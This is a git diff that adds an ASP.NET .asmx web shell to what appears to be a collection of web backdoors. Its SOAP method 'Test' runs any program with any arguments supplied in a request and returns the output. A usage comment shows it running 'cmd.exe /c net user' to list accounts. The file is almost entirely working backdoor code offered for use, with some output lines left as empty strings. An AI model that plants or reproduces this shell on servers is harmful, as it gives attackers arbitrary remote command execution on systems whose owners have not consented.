diff --git a/web-backdoors/asp/cmd.asmx b/web-backdoors/asp/cmd.asmx
new file mode 100644
index 0000000..c148149
--- /dev/null
+++ b/web-backdoors/asp/cmd.asmx
@@ -0,0 +1,88 @@
+<%--
+
+Usage:
+
+POST /test.asmx HTTP/1.1
+Host: example.com
+Content-Type: text/xml; charset=utf-8
+Content-Length: 363
+SOAPAction: "http://tempuri.org/Test"
+
+
+
+
+
+ cmd.exe
+ /c net user
+
+
+
+
+--%>
+
+<%@ WebService Language="C#" Class="Service" %>
+using System;
+using System.Web;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Data;
+using System.Data.SqlClient;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Web.SessionState;
+using System.Web.Services;
+using System.Xml;
+using System.Web.Services.Protocols;
+
+[WebService(Namespace = "http://www.payloads.online/")]
+[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
+
+public class New_Process :Process
+{
+ public New_Process(string s)
+ {
+
+ }
+
+}
+
+
+public class Service : System.Web.Services.WebService
+{
+ public Service()
+ {
+
+ }
+
+ [WebMethod]
+ public string Test(string Z1,string Z2)
+ {
+ String R;
+
+ ProcessStartInfo c = new ProcessStartInfo(Z1,Z2);
+ Process e = new New_Process("something");
+ StreamReader OT, ER;
+ c.UseShellExecute = false;
+ c.RedirectStandardOutput = true;
+ c.RedirectStandardError = true;
+ e.StartInfo = c;
+
+ e.Start();
+ OT = e.StandardOutput;
+ ER = e.StandardError;
+ e.Close();
+ R = OT.ReadToEnd() + ER.ReadToEnd();
+ HttpContext.Current.Response.Clear();
+ HttpContext.Current.Response.Write("");
+ HttpContext.Current.Response.Write("");
+ HttpContext.Current.Response.Write("");
+ HttpContext.Current.Response.Write("");
+ HttpContext.Current.Response.End();
+ return R;
+ }
+}